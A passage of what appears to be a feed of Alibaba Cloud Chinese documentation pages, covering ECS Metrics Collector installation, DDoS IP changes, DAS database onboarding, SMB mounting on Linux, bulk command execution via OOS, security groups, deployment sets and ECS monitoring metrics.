      2、使用阿里云助手,安装 ECS Metrics Collector开始菜单,右键->命令提示符(管理员),打开CMD窗口
      切换到阿里云助手目录,执行安装

      当前阿里云助手版本是1.0.0.107,请根据实际情况修改目录名

      1. cd "C:ProgramDataaliyunassist[1.0.0.107]"
      2. aliyun_installer.exe -l
      3. aliyun_installer.exe -i ecs_metrics_collector

      当有多个可选择package_id的时候,选择最新的package_id

      win_mc_install

      验证 ECS Metrics Collector 的安装

      3、通过以下操作验证 ECS Metrics Collector 服务是否正常

      任务栏,右键->任务管理器->服务,确认服务”Ecs metrics collector”状态是 正在运行ecs_service_status

      4、开始菜单,右键->运行,输入 taskschd.msc,确定。打开任务计划程序,点击”任务计划程序库“,确认定时检查更新的任务已经被成功调度

      metrics_task

      在 ECS Metrics Collector 安装过程中会定义一个计划任务,每1小时自动在云助手服务器上检查一次 ECS Metrics Collector 的最新版本,一旦有新版本可用将自动升级。

      检查收集的监控项数据

      5、验证收集的数据
      打开浏览器,访问 http://localhost:8888
      能打开类似的页面,并且所有的value都能取到值,说明配置正确。如果出现value值取数异常,请先检查 RAM角色配置curl

      卸载ECS Metrics Collector

      使用具有管理员(administrators组) 权限的用户帐户登录您的 SAP ECS 实例切换到安装目录,双击uninst.exemetrics_uninstall_01
      metrics_uninstall_02

      更多操作命令

      有关metrics collector更多的命令,可以通过aliyun_installer.exe --h查询

      常见问题

      1.安装完成后,metrics collector服务启动失败 “Failed to start ECS Metrics Collector for SAP”

      问题描述:

      • 运行命令systemctl status ecs_metrics_collector,检查服务状态时出现如下报错:

      qa_1_01

      • 查看系统日志命令 journalctl -xe,出现如下类似信息 ImportError: No module named pytz

      qa_1_02

      解决方案:

      • 手工安装pytz
      1. pip install pytz

      qa_1_02

      • 重启并验证服务状态
      1. systemctl restart ecs_metrics_collector
      2. systemctl status ecs_metrics_collector

      qa_1_02

      ]]> 更换 ECS IP_更换 ECS IP_实例管理_用户指南_DDoS高防(旧版)_DDoS防护-阿里云 Fri, 02 May 2025 09:39:04 +0800 更换 ECS IP

      更新时间:2019-10-08 09:38:42

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      若您的源站IP已暴露,建议您使用阿里云提供的IP,防止黑客绕过高防IP直接攻击源站。您可以在云盾DDoS高防管理控制台更换后端ECS的IP,每个账号最多可更换10次。

      前提条件

      更换ECS IP会使您的业务暂时中断几分钟,建议您在操作前先备份好数据。

      操作步骤

      1. 登录云盾DDoS高防管理控制台
      2. 前往接入 > 网站页面,单击更换ECS IP
      3. 更换ECS IP需要将ECS停机,若您已将需要更换IP的ECS停机,请直接跳转到步骤4。在更换ECS IP对话框,单击前往ECS,在ECS管理控制台将需要更换IP的ECS实例停机。
        1. 在实例列表中找到目标ECS实例,单击其实例ID。
        2. 在实例详情页,单击停止
        3. 选择停止方式,并单击确定

          说明 停止ECS实例是敏感操作,稳妥起见,需要您输入手机校验码进行确认。

        4. 等待ECS实例状态变成已停止
      4. 返回更换ECS IP对话框,输入ECS实例ID,并单击下一步
      5. 确认当前ECS实例信息准确无误(尤其是ECS IP)后,选择更换IP后 是否立刻重启ECS,并单击释放IP
      6. 成功释放原IP后,单击下一步,为该ECS实例重新分配IP。
      7. ECS IP更换成功,单击确认,完成操作。

        说明 更换IP成功后,请您将新的IP隐藏在高防后面,不要对外暴露。

      ]]> 接入ECS自建数据库实例_接入数据库_数据库实例_数据库自治服务 DAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 接入ECS自建数据库实例

      更新时间:2020-04-26 10:26:29

      本页目录

      本文介绍如何在数据库自治服务DAS(原HDM)中接入ECS自建数据库。

      支持接入的数据库类型

      DAS目前支持接入的ECS自建数据库类型有:MySQL、MongoDB、Redis、PostgreSQL。

      接入方式说明

      DAS支持以下三种接入ECS自建数据库方式:

      • 直连接入:无需部署DAS网关(DBGateway), 仅需要输入数据库账号和密码即可快速接入您的数据库实例。适合比较少的ECS实例,需要设置安全组。

      • 集中模式接入:在至少一台ECS上部署DAS网关(推荐至少在两台或两台以上的ECS上部署DAS网关,满足容灾场景需求),通过网段自动发现您的数据库实例,适合VPC环境内ECS快速接入,不建议部署在经典网络ECS上。

      • 主机模式接入:在每台ECS实例上部署DAS网关,DAS网关会自动发现数据库实例。该模式可以使用DAS所有功能(包括全量SQL分析、SQL响应时间、安全审计等),功能详细可参见三种不同接入方式的功能对比

        三种接入方式说明

      三种不同接入方式的功能对比

      以MySQL引擎为例。

      功能 直连接入 集中模式接入 主机模式接入
      数据库监控指标 支持 支持 支持
      实时性能 支持 支持 支持
      实时会话 支持 支持 支持
      空间分析 支持 支持 支持
      SQL诊断 支持 支持 支持
      慢请求分析 部分支持(支持慢日志记录在表中的场景) 部分支持(支持慢日志记录在表中的场景) 支持
      主机监控指标 不支持 不支持 支持
      全量请求分析 不支持 不支持 支持
      SQL响应时间 不支持 不支持 支持
      安全审计 不支持 不支持 支持

      操作步骤

      直连接入

      1. 登录DAS控制台

      2. 在DAS控制台首页的热荐功能区域单击快速实例接入

      3. 单击阿里云ECS自建数据库

      4. 单击直接接入

      5. 添加DAS访问规则列中勾选需要接入的安全组ID,单击保存

        需要至少在一个安全组的私网上添加安全组。

      6. 选中要接入的ECS实例,然后单击下一步

      7. 根据下表输入数据库登录信息。

        参数名称 说明
        选择引擎 选择您的ECS自建数据库类型,目前支持以下引擎:MySQL,MongoDB,Redis,PostgreSQL。
        端口 ECS自建数据库的端口。
        数据库账号 ECS自建数据库的账号。
        密码 ECS自建数据库对应的密码。

        如果数据库已经有对应权限的账号,可以直接输入数据库账号和密码,单击授权即可。如果数据库中没有对应权限的账号,可以输入数据库账号和密码后,单击生成授权命令后,拷贝授权命令在对应数据库上执行后,单击授权

      8. 单击授权

        单击授权后,除了连接正常的状态,还有四种常见错误:

        • 未授权:用户没有进行账号或者密码设置。
        • 无法连接:可能是网络不通、实例宕机等原因。
        • 认证失败:用户名或者密码错误。
        • 权限不足:可以正常连接实例,但是权限不足,请查看权限说明
      9. 单击完成

      集中模式接入

      1. 登录DAS控制台

      2. 在DAS控制台首页的热荐功能区域单击快速实例接入

      3. 单击阿里云ECS自建数据库

      4. 单击使用集中模式的数据库网关接入

      5. 单击新增部署DAS网关

        说明:如果您没有在对应的VPC内部署过DAS网关,请选择新增部署DAS网关。如果您已经在对应的VPC内部署过DAS网关,可单击使用已有DAS网关,请参见步骤8。

      6. 选中对应Region的ECS,单击生成部署命令

      7. 复制部署命令,登录到对应ECS实例上执行该命令。

        HDM_user_manual_18

        如果命令行窗口返回successful,表示DAS网关部署成功,DAS会自动发现该网关。如果当前状态显示正常,请单击下一步。若部署未成功,可以通过阿里云工单进行反馈。

      8. 发现实例页,发现数据库实例。

        1. DAS支持两种实例接入方式:

          • 选择自动扫描
            1. 扫码地址文本框输入扫描IP段。
            2. 端口范围文本框输入端口范围。
            3. 单击开始探测
          • 选择输入实例列表
            1. 根据界面提示,按规则填写实例列表
            2. 单击开始探测

              DAS网关会自动进行扫描,发现数据库实例。

        2. 如果发现对应实例,单击下一步

      9. 根据下表输入数据库登录信息。

        参数名称 说明
        选择引擎 选中要接入的数据库类型
        数据库账号 输入数据库账号
        密码 输入数据库密码
        数据库IP 选中需要授权的数据库IP

        如果数据库已经有对应权限的账号,可以直接输入数据库账号和密码,单击授权即可。如果数据库中没有对应权限的账号,可以输入数据库账号和密码后,单击生成授权命令后,拷贝授权命令在对应数据库上执行后,单击授权

      10. 单击授权

        单击授权后,除了连接正常的状态,还有四种常见错误:

        • 未授权:用户没有进行账号或者密码设置。
        • 无法连接:可能是网络不通、实例宕机等原因。
        • 认证失败:用户名或者密码错误。
        • 权限不足:可以正常连接实例,但是权限不足,请查看权限说明
      11. 单击完成

      主机模式接入

      1. 用户登录DAS控制台
      2. 在DAS控制台首页的热荐功能区域单击快速实例接入
      3. 单击阿里云ECS自建数据库
      4. 单击使用主机模式的数据库网关接入
      5. 选中对应Region的ECS,单击生成部署命令
      6. 拷贝部署命令,到您选择的机器上运行该命令。

        HDM_user_manual_18

        如果命令行窗口返回successful,表示程序部署成功,否则可以通过阿里云工单进行反馈。如果部署成功,DAS会自动发现该网关,如果当前状态显示正常,请单击下一步

      7. 根据下表输入数据库登录信息。

        参数名称 说明
        选择引擎 补充要接受的数据库类型
        数据库账号 输入数据库账号
        密码 输入数据库密码
        数据库IP 寻求需要授权的数据库IP

        如果数据库已经有对应权限的账号,可以直接输入数据库账号和密码,单击授权即可。如果数据库中没有对应权限的账号,可以输入数据库账号和密码后,单击生成授权命令后,拷贝授权命令在对应数据库上执行后,单击授权

      8. 单击授权

        单击授权后,除了连接正常的状态,还有四种常见错误:

        • 未授权:用户没有进行账号或者密码设置。
        • 无法连接:可能是网络不通、实例宕机等原因。
        • 认证失败:用户名或者密码错误。
        • 权限不足:可以正常连接实例,但是权限不足,请查看权限说明
      9. 单击完成

      ]]> 通过云服务器ECS(Linux)访问SMB文件系统_最佳实践_文件存储-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过云服务器ECS(Linux)访问SMB文件系统

      更新时间:2020-05-20 16:40:26

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文主要介绍如何将SMB文件系统挂载至云服务器ECS(Linux)并进行读写操作。

      前提条件

      • 在需要创建文件系统的地域,已有可用的云服务器ECS(Linux)。

        SMB文件系统现在官方支持如下的Linux分发版本。如果没有特别声明,本文也只针对以下几个Linux分发版本:

        • CentOS 7.6 64bit(3.10.0-957.5.1.el7.x86_64)
        • Ubuntu 18.04 64bit(4.15.0-48-generic)
        • Debian 9.9 64bit(4.9.0-9-amd64)
        • Suse Enterprise Server 12 SP2 64bit(4.4.74-92.35-default)
        • OpenSUSE 42.3 64bit(4.4.90-28-default)
        • Aliyun Linux(4.19.34-11.al7.x86_64)
        • CoreOS(4.19.43-coreos VersionID=2079.4.0)

        说明 由于Linux一些早期版本的SMB内核客户端在某些关键场景有缺陷,如果您使用了非官方支持的Linux分发版本,阿里云不能保证该SMB文件系统的可靠性。

      • 网络连通。
        • 确保云服务器ECS(Linux)和SMB文件系统在可连通的同一个用户网络中(比如在同一个VPC )。
        • 检查文件系统白名单,确保云服务器ECS(Linux)已经被授权访问该SMB文件系统。
        • 确保端口445处于打开状态,SMB通过TCP端口445通信。

          如果端口445未打开,请在目标ECS实例的安全组中添加关于端口445的安全组规则,详情请参见添加安全组规则

      • 已创建SMB文件系统,详情请参见创建文件系统
      • 已添加挂载点,详情请参见添加挂载点
      • 软件要求。

        Linux分发版本已预装了内核客户端,请确保您已安装cifs-util工具包。

      安装软件

      在以下Linux版本中安装内核客户端和安装cifs-util工具包:

      • 如果您使用Ubuntu、Debian操作系统,使用apt-get包管理器进行安装
        sudo apt-get update
        sudo apt-get install cifs-utils
      • 如果您使用RHEL、CentOS、Aliyun Linux操作系统,使用yum包管理器进行安装
        sudo yum install cifs-utils
      • 如果您使用OpenSUSE、SLES12-SP2操作系统,使用zypper或者yast工具进行安装
        sudo zypper install cifs-utils
        sudo yast2 -> Software -> Software Management, 然后安装cifs-utils
      • 如果您使用阿里云支持的CoreOS分发版本,通过以下方法进行安装
        1. 配置SELINUX
          sed -i 's/SELINUXTYPE=mcs/SELINUXTYPE=targeted/' /etc/selinux/config
        2. 在CoresOS上自行编译cifs-utils

          您可以执行以下命令启动一个Fedora容器用以编译cifs-utils客户端工具。或者下载阿里云官方提供的CoreOS版本的cifs-utils工具,并拷贝至/tmp/或者/bin目录。

          $ docker run -t -i -v /tmp:/cifs fedora /bin/bash
          
          fedora # yum groupinstall -y "Development Tools" "Development Libraries"
          
          fedora # yum install -y bzip2
          
          fedora # curl https://download.samba.org/pub/linux-cifs/cifs-utils/cifs-utils-
          
          6.9.tar.bz2 --output cifs-utils-6.9.tar.bz2;
          
          fedora # bunzip cifs-utils-6.9.tar.bz2; && tar xvf cifs-utils-6.9.tar
          
          fedora # cd cifs-utils-6.9; ./configure && make
          
          fedora # cp mount.cifs /cifs/
          
          fedora # exit

      挂载文件系统

      1. 使用root用户或者sudo enabled客户端管理员用户,登录云服务器ECS(Linux)。
      2. 执行以下命令,挂载文件系统。

        mount -t cifs //xxx-crf23.eu-west-1.nas.aliyuncs.com/myshare /mnt -o vers=2.0,guest,uid=0,gid=0,dir_mode=0755,file_mode=0755,mfsymlinks,cache=strict,rsize=1048576,wsize=1048576

        挂载命令格式:mount -t cifs //<挂载点域名>/myshare <挂载目录> -o <挂载选项>

        参数 说明
        文件系统类型 SMB文件系统,必须使用-t cifs。
        挂载点域名 创建文件系统挂载点时,请根据实际值替换自动生成的挂载点域名。挂载点详情请参见管理挂载点
        myshare SMB的share名称,不允许变更。
        挂载目录 您要挂载的目标目录,例如:/mnt/sharepath。
        挂载选项(option)

        通过-o指定挂载必选选项:

        • vers:支持2.0协议版本。
        • guest:在认证方面,现在只支持基于ntlm认证协议的guest挂载。即使用username=guest、password=guest或者guest。

          说明 服务器支持ntlm, ntlmv2和ntlmssp。默认时,SMB客户端和服务器会协商一个可接受的ntlm认证协议;或者您在挂载时,通过sec <option>可以选择一个期望值(ntlm、ntlmv2 或者ntlmssp)。

        • rsize:用来设置读数据包的最大限制。一般需要设置成1048576(1 M)。
        • wsize:用来设置写数据包的最大限制,一般需要设置成1048576(1 M)。

        通过-o指定挂载可选选项:

        • uid:挂载成功后,文件所属的用户。如果未设置uid,则默认uid=0。
        • gid:挂载成功后,文件所属的用户组。如果未设置gid,则默认gid=0。
        • dir_mode:向用户授予目录的读取、写入和执行权限。必须以0开头,例如:0755、0644等。如果未设置dir_more ,则默认dir_mode=0755。
        • file_mode:向用户授予普通文件的读取、写入和执行权限。必须以0开头,例如:0755、0644等。如果未设置file_mode,则默认file_mode=0755。
        • mfsymlinks:用以支持symbol link功能。
        • cache:
          • cache=strict:设置SMB客户端使用客户端缓存。如果未设置cache,则默认cache=strict。
          • cache=none:设置SMB客户端不使用客户端缓存。
        • atime|relatime:如果您的业务不是对文件的访问时间极为敏感,请不要在挂载时使用atime选项,默认时会使用relatime方式挂载。

        说明

        • 被授权的云服务器(Linux)管理员拥有对SMB文件系统的绝对控制权。
        • 您可以使用mount | grep cifs命令查询自己的挂载点信息。
        • 如果您使用非官方支持的Linux分发版本,强烈建议使用内核在3.10.0-514以上的版本。如果Linux kernel版本小于等于3.7,一定要在挂载选项中显示设置cache=strict参数。您可以使uname -a命令检查当前内核版本。

      3. 执行mount -l命令,查看挂载结果。

        如果回显包含如下类似信息,说明挂载成功。

      4. 挂载成功后,您可以在ECS(Linux)上访问NAS文件系统,执行读取或写入操作。

        您可以把NAS文件系统当作一个普通的目录来访问和使用,例子如下所示。

      经典使用场景

      不同的使用场景,可选择不同的挂载选项。经典的使用场景及挂载选项配置如下所示:

      • 云服务器ECS(Linux)共享访问场景

        在多个云服务器ECS(Linux)中需要共享访问文件系统数据,但没有用户权限控制要求,被授权的云服务器ECS(Linux)管理员可以使用如下方法在各个云服务器ECS(Linux)上执行挂载。

         mount -t cifs //smbfs.hangzhou-g.aliyun.com/myshare /mnt/sharepath -o vers=2.0,guest,mfsymlinks

      • 多用户Home Directory场景

        在多个云服务器ECS(Linux)中需要共享访问文件系统数据时,如果有权限控制需求,可以通过挂载时指定uid、gid、dir_mode、file_mode来满足要求。

      • 云服务器ECS(Linux) WebServer共享访问场景

        在多个云服务器ECS(Linux)上安装WebServer(如apache),并且SMB文件系统做共享文件存储。

        说明

        • SMB文件系统主要特点是共享访问、横向扩展、高可用,由于和本地硬盘实现机理不同,某些场景的小文件访问性能上会稍微有一些差距。对于WebServer场景,如果想要达到极致性能,可以考虑只将需要共享的文件放在SMB文件系统上,而将不需要共享访问的WebServer程序等放在本地硬盘。
        • WebServer应用通常网络协议通讯负载较大,我们为这个场景做了专门的WebServer加速功能,您可以联系阿里云NAS团队申请开通。

      • 云服务器ECS(Windows)和云服务器ECS(Linux)共享访问场景

        如果您需要同时从云服务器ECS(Windows)和云服务器ECS(Linux)访问SMB文件系统的内容。这个场景下,云服务器ECS(Linux)挂载时一定要使用客户端缓存,即设置cache=strict或者默认方式挂载。

      如果您在使用中遇到问题,请参见通过云服务器ECS(Linux)访问SMB文件系统的问题排查

      ]]> 在多台ECS实例内批量执行命令_实例运维_最佳实践_运维编排服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 在多台ECS实例内批量执行命令

      更新时间:2019-10-15 19:29:12

      本页目录

      背景与痛点

      阿里云的客户远程在ECS内部执行命令是最常见的运维操作之一了,比如在ECS内安装卸载软件,启动停止某个进程,等等。很多情况下,还需要对一个ECS列表中的多台ECS,统一的执行某个相同的命令并汇聚执行的结果。
      一个可行的方案是利用SSH远程连接到ECS上执行命令,但是开放ECS的SSH端口给internet访问是危险的。客户可以通过自建跳板机来间接访问ECS以解决安全性的问题,但是这带来了复杂度和成本的上升。
      Ansible是业界比较流行的开源的运维工具,但是其认证是独立于阿里云的账号体系之外的,无法通过阿里云的官方工具进行权限控制,其操作记录也无法在阿里云上进行审计。
      如果用户使用的是Windows版本的ECS,虽然可以利用PowerShell远程执行命令,但是配置和维护过程更加困难。
      在此,我们向大家推荐阿里云官方的批量在多台ECS内执行命令的最佳实践:运维编排服务OOS+云助手。云助手提供了在ECS内执行命令的原子能力,运维编排服务OOS则附加了更丰富的批量、定时、事件驱动、自定义模板等能力,两者结合,可以让ECS运维工作变得既安全又简单高效。

      准备工作

      准备工作只有两个简单步骤。
      首先,请访问运维编排OOS的控制台点一下“立即开通”按钮完成服务的开通。这是一个免费服务,请放心开通。开通链接:https://oos.console.aliyun.com/
      oos
      开通OOS后,请确保您已安装并配置了阿里云命令行工具CLI,且版本号大于等于 3.0.19。阿里云命令行工具CLI的Github下载链接为:https://github.com/aliyun/aliyun-cli/releases;快速配置指南:https://help.aliyun.com/document_detail/121258.html

      开始执行

      我们直接先看一个例子,如要针对cn-beijing地域的[“i-id45678zxcvb”,”i-id45679zxcvb”]这两台远程Linux ECS,执行“echo 123”这个shell命令,只需要在本地的shell终端里,输入命令:

      1. aliyun oos StartExecution --region cn-hangzhou --TemplateName ACS-ECS-BulkyRunCommand --Parameters '{"commandType":"RunShellScript", "commandContent":"echo 123", "targets":{"Type":"ResourceIds", "ResourceIds":["i-id45678zxcvb","i-id45679zxcvb"]}, "rateControl":{"maxErrors":0,"mode":"Concurrency"}, "OOSAssumeRole":"" }'

      简单解释一下上面这个命令,它调用了oos的StartExecution的API,启动官方提供的公共模板ACS-ECS-BulkyRunCommand,传入包含了ECS实例列表(ResourceIds)和执行内容(commandContent)的参数。
      该命令会返回一个json结构,如果您能找到”ExecutionId”: “exec-xxxxx”, 那么恭喜您,被指定的命令已经开始在远程执行了。
      请记录下ExecutionId,然后作为参数输入到下面的ListExecutions命令查询执行的过程和结果:

      1. aliyun oos ListExecutions --region cn-hangzhou --ExecutionId "exec-id123456zxcvb"

      如果命令正在运行中,您会看到类似如下的结果,Status是“Running”。TotalTasks是总的命令数,SuccessTasks是已经执行成功的命令数。两个数字的差,就是还待执行的命令数。

      1. {
      2. "Execution": {
      3. "Outputs": {},
      4. "TemplateName": "ACS-ECS-BulkyRunCommand",
      5. "Parameters": {
      6. "commandType": "RunShellScript",
      7. "OOSAssumeRole": "",
      8. "rateControl": {
      9. "maxErrors": 0,
      10. "mode": "Concurrency"
      11. },
      12. "targets": {
      13. "ResourceIds": [
      14. "i-id45678zxcvb","i-id45679zxcvb"
      15. ],
      16. "Type": "ResourceIds"
      17. },
      18. "commandContent": "echo 123"
      19. },
      20. "Counters": {
      21. "Failed": 0,
      22. "Success": 0,
      23. "Total": 0
      24. },
      25. "ExecutedBy": "aliyun-account1",
      26. "LoopMode": "Automatic",
      27. "Mode": "Automatic",
      28. "TemplateId": "t-123456zxcvb",
      29. "Status": "Running",
      30. "TemplateVersion": "v2",
      31. "SafetyCheck": "Skip",
      32. "StartDate": "2019-10-15T07:22:03Z",
      33. "ExecutionId": "exec-id123456zxcvb",
      34. "CurrentTasks": []
      35. },
      36. "RequestId": "1A9B1817-0530-470C-8640-BADADADB220BD"
      37. }

      您可以多次执行同样的ListExecutions命令进行查看,直到看到Outputs表示整个命令的结果,对于本例,为两台ECS上的标准输出:
      oos

      进阶-自定义模板

      在上面的例子里,命令的参数有点过于复杂,其实我可以自定义模板把参数固定下来,让执行的命令变得格外简单。
      自定义模板的命令如下,您可以根据自己的需要进行改写:

      1. aliyun oos CreateTemplate --region cn-hangzhou --TemplateName sample123 --Content '{
      2. "FormatVersion": "OOS-2019-06-01",
      3. "Tasks": [
      4. {
      5. "Name": "runCommand",
      6. "Action": "ACS::ECS::RunCommand",
      7. "Properties": {
      8. "commandContent": "echo 1234",
      9. "instanceId": "{{ ACS::TaskLoopItem }}",
      10. "commandType": "RunShellScript"
      11. },
      12. "Loop": {
      13. "Items": ["i-id45678zxcvb","i-id45679zxcvb"],
      14. "Outputs": {
      15. "commandOutputs": {
      16. "AggregateType": "Fn::ListJoin",
      17. "AggregateField": "commandOutput"
      18. }
      19. }
      20. },
      21. "Outputs": {
      22. "commandOutput": {
      23. "Type": "String",
      24. "ValueSelector": "invocationOutput"
      25. }
      26. }
      27. }
      28. ],
      29. "Outputs": {
      30. "commandOutputs": {
      31. "Type": "List",
      32. "Value": "{{ runCommand.commandOutputs }}"
      33. }
      34. }
      35. }'

      执行创建自定义模版命令后,您只需要执行如下命令就可以完成和前面一样的效果了

      1. aliyun oos StartExecution --region cn-hangzhou --TemplateName sample123 --Parameters '{}'

      此命令调用oos的StartExecution这个API,执行sample123这个自定义模板,不需要额外传入参数。
      当然,前面用CLI所做的一切操作,都可以在OOS控制台执行,OOS控制台链接为:https://oos.console.aliyun.com/

      了解更多

      运维编排OOS是阿里云的运维自动化平台,适用于批量、定时、事件驱动、跨区域运维等场景,除了在ECS内执行命令外,还可以完成ECS创建释放,启停,变配,网络带宽升级,挂载云盘等等各种操作。
      如果想了解更多,加入钉钉群“运维编排OOS支持群”,群号23330931。我们会有值班人员在线支持。
      OOS管理控制台的链接:https://oos.console.aliyun.com
      OOS帮助文档的链接 https://help.aliyun.com/product/119529.html

      ]]> 替换ECS实例的安全组_安全组_安全_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 替换ECS实例的安全组

      更新时间:2020-04-13 16:37:10

      本页目录

      您可以根据业务需要,将ECS实例的原安全组替换为其他安全组。

      前提条件

      ECS实例和目标安全组的网络类型为专有网络VPC,且属于同一个专有网络VPC。

      背景信息

      替换安全组功能适用于以下场景:

      • ECS实例原普通安全组A、B、C,需要替换为普通安全组D、E。
      • ECS实例原企业安全组A、B、C,需要替换为企业安全组D、E。
      • ECS实例原普通安全组A、B、C,需要替换为企业安全组D、E。
      • ECS实例原企业安全组A、B、C,需要替换为普通安全组D、E。

      注意

      • 安全组会影响ECS实例的网络连通,您在替换安全组前请确认已经调试好目标安全组,以免影响业务使用。
      • ECS实例不能同时加入普通安全组和企业安全组,只能加入一种类型的安全组。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏左上角处,选择地域。
      4. 实例列表页面中,根据需要替换安全组的实例数量,执行不同的操作。

        • 单个ECS实例替换安全组

          找到需要替换安全组的ECS实例,在操作列中,单击更多 > 网络和安全组 > 替换安全组

        • 多个ECS实例批量替换安全组

          勾选需要替换安全组的ECS实例,在列表底部单击更多 > 网络和安全组 > 替换安全组

      5. 实例替换安全组对话框中,选择新安全组替换ECS实例原有的安全组。
        1. 安全组类型中,选择普通安全组或者企业级安全组
        2. 选择安全组的下拉栏中选择替换的目标安全组。

          说明 如果您需要选择多个安全组,单击增加选择其他安全组,一台ECS实例最多能够加入5个安全组。

        实例替换安全组

      6. 单击替换安全组

      执行结果

      操作完成后,ECS实例的安全组已替换成新的安全组。

      ]]> 在部署集内创建ECS实例_部署集_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在部署集内创建ECS实例

      更新时间:2020-04-03 14:11:45

       · 编辑者

      全部>

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍了如何通过ECS管理控制台在部署集内创建ECS实例。

      前提条件

      您在指定地域中已经创建了部署集。详细步骤请参见创建部署集

      背景信息

      一个部署集在一个可用区内只能创建7台ECS实例,一个地域内可以创建(7*可用区)数量的ECS实例。该数值根据您使用云服务器ECS的情况而变化。

      创建ECS实例时,您可以搭配使用实例启动模板或者批量创建功能,避免数量限制带来的不便。详情请参见实例启动模板概述

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击部署与弹性 > 部署集
      3. 在顶部状态栏左上角处,选择地域。
      4. 在部署集列表页面,找到目标部署集创建实例。

        您可以通过以下方式创建实例:

        • 在部署集的操作列中,单击创建实例创建实例
        • 单击部署集ID,在实例列表处单击创建实例

      5. 在跳转后的自定义购买页面完成实例配置选项,具体操作步骤请参见使用向导创建实例

        创建过程中您需要注意的配置项:

        • 基础配置
          • 地域:ECS实例必须和目标部署集在同一个地域。
          • 可用区:部署集的每一个可用区内均不能超过7台ECS实例。
          • 实例部署集现阶段能创建的ECS实例规格族仅支持:c6、g6、r6、hfc6、hfg6、hfr6、c5、d1、d1ne、g5、hfc5、hfg5、i2、i2g、i1、ic5、r5、se1ne、sn1ne和sn2ne 。更多有关实例规格及其性能的信息,请参见实例规格族
          • (可选)您可以在购买实例数量处指定此次操作的ECS实例数量,并需要考虑部署集的当前可用区内已有的ECS实例数量。
        • (可选)系统配置 > 有序后缀:批量创建ECS实例后,可以为实例名称和主机名添加有序后缀。有序后缀从001开始递增,最大不会超过999。
        • 分组配置 > 部署集:选择目标部署集即可。分组配置
        • (可选)确认订单 > 保存为启动模板:保存配置为启动模板,便于下次快速创建ECS实例。更多详情,请参见实例启动模板概述

      6. 确认无误后,单击创建实例
      7. 在左侧导航栏,单击部署与弹性 > 部署集,您可以查看在部署集内成功创建的实例信息。

      后续步骤

      创建ECS实例后,您可以:
      • 在部署集内查看并管理ECS实例。更多详情,请参见实例相关操作文档。
      • 更换ECS实例所在的部署集。详细步骤请参见修改实例的部署集

      ]]> 云服务器ECS_弹性计算_云计算基础_附录1 云产品监控项_云监控-阿里云 Fri, 02 May 2025 09:39:04 +0800 云服务器ECS

      更新时间:2020-05-20 17:24:19

      本页目录

      通过本文您可以了解云服务器ECS的监控项。

      • 基础监控项
        • Namespaceacs_ecs_dashboard
        • Period默认为60秒,也可以为60的整数倍。
        监控项 单位 MetricName Dimensions Statistics
        突发性能实例-预支CPU积分 Count AdvanceCredit userId、instanceId Maximum、Minimum、Average
        突发性能实例-已消耗CPU积分 Count BurstCredit userId、instanceId Maximum、Minimum、Average
        (ECS)CPU使用率(不推荐) % CPUUtilization userId、instanceId Maximum、Minimum、Average
        (ECS)系统盘总读BPS Byte/s DiskReadBPS userId、instanceId Maximum、Minimum、Average
        (ECS)ECS.SystemDiskReadOps Count/Second DiskReadIOPS userId、instanceId Maximum、Minimum、Average
        (ECS)系统盘总写BPS Byte/s DiskWriteBPS userId、instanceId Maximum、Minimum、Average
        (ECS)系统写IOPS Count/Second DiskWriteIOPS userId、instanceId Maximum、Minimum、Average
        (ECS)经典网络-公网网络入流量 Byte InternetIn userId、instanceId Maximum、Minimum、Average、Sum
        (ECS)经典网络-公网流入带宽 bit/s InternetInRate userId、instanceId Maximum、Minimum、Average
        (ECS)下行流量 Byte InternetOut userId、instanceId Maximum、Minimum、Average、Sum
        (ECS)经典网络-公网流出带宽 bit/s InternetOutRate userId、instanceId Maximum、Minimum、Average
        (ECS)经典网络-公网流出带宽使用率 % InternetOutRate_Percent userId、instanceId Average
        (ECS)内网流入流量 Byte IntranetIn userId、instanceId Maximum、Minimum、Average、Sum
        (ECS)内网流入带宽 bit/s IntranetInRate userId、instanceId Maximum、Minimum、Average
        (ECS)内网流出流量 Byte IntranetOut userId、instanceId Maximum、Minimum、Average、Sum
        (ECS)内网流出带宽 bit/s IntranetOutRate userId、instanceId Maximum、Minimum、Average
        突发性能实例-超额CPU积分 Count NotpaidSurplusCredit userId、instanceId Maximum、Minimum、Average
        突发性能实例-累积CPU积分 Count TotlCredit userId、instanceId Maximum、Minimum、Average
        (ECS)专有网络-公网流入带宽 bit/s VPC_PublicIp_InternetInRate userId、instanceId、ip Maximum、Minimum、Average
        (ECS)专有网络-公网流出带宽 bit/s VPC_PublicIp_InternetOutRate userId、instanceId、ip Maximum、Minimum、Average
        (ECS)专有网络-公网流出带宽使用率 % VPC_PublicIp_InternetOutRate_Percent userId、instanceId、ip Average
        ECS同时连接数 Count concurrentConnections userId、instanceId Maximum
        EIP-网络流入带宽 bit/s eip_InternetInRate userId、instanceId Value
        EIP-网络流出带宽 bit/s eip_InternetOutRate userId、instanceId Value
        入方向前后端丢包率 % packetInDropRates userId、instanceId Maximum
        出方向前后端丢包率 % packetOutDropRates userId、instanceId Maximum
      • 操作系统级别监控项
        • Namespaceacs_ecs_dashboard
        • Period默认为15秒,也可以为15的整数倍。
        监控项 单位 MetricName Dimensions Statistics
        (Agent)Host.cpu_total(推荐) % cpu_total userId、instanceId Maximum、Minimum、Average
        (Agent)Host.cpu.idle % cpu_idle userId、instanceId Maximum、Minimum、Average
        (Agent)Host.cpu.other % cpu_other userId、instanceId Maximum、Minimum、Average
        (Agent)Host.cpu.system % cpu_system userId、instanceId Maximum、Minimum、Average
        (Agent)Host.cpu.user % cpu_user userId、instanceId Maximum、Minimum、Average
        (Agent)Host.cpu.iowait % cpu_wait userId、instanceId Maximum、Minimum、Average
        (Agent)Host.disk.readbytes Byte/s disk_readbytes userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.disk.readiops Count/s disk_readiops userId、instanceId、device Maximum、Minimum、Average
